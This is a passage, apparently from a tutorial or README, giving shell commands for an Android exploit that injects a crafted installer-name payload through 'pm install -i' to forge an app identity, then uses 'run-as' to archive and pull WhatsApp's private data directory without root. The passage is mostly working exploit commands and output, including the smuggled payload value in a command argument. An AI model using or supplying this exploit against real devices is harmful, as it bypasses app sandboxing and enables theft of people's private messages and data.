You can exit after generating the payload and run all the commands manually or you can continue with the instructions ### Next you'll need to connect to your device using adb shell and paste in the payload and make sure you get a ``Success`` message back after the last command ``` pl4int3xt ~> adb shell pixel:/ $ PAYLOAD="@null > victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null" pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk Success ``` ### Next we get the whatsapp data using the following commands ``` pixel:/ $ mkdir /data/local/tmp/wa/ pixel:/ $ touch /data/local/tmp/wa/wa.tar pixel:/ $ chmod -R 0777 /data/local/tmp/wa/ pixel:/ $ run-as victim pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp ``` Create a temporary directory: `mkdir /data/local/tmp/wa/` Create a placeholder for a tar file: `touch /data/local/tmp/wa/wa.tar` Set wide-open permissions: `chmod -R 0777 /data/local/tmp/wa/` to ensure any user can read, write, and execute within this directory. Switch user context: `run-as victim` to gain the same permissions as the "victim" user. Archive the target application's data: `tar -cf /data/local/tmp/wa/wa.tar com.whatsapp`, creating a tarball of the WhatsApp data directory. ### Finally pull the data ```adb pull /data/local/tmp/wa/wa.tar``` You can extract the data using `7z` or any other tool You can use [Whatsapp chat exporter](https://github.com/KnugiHK/Whatsapp-Chat-Exporter) to convert it to HTML This allows you to get whatsapp data without a root access on your device
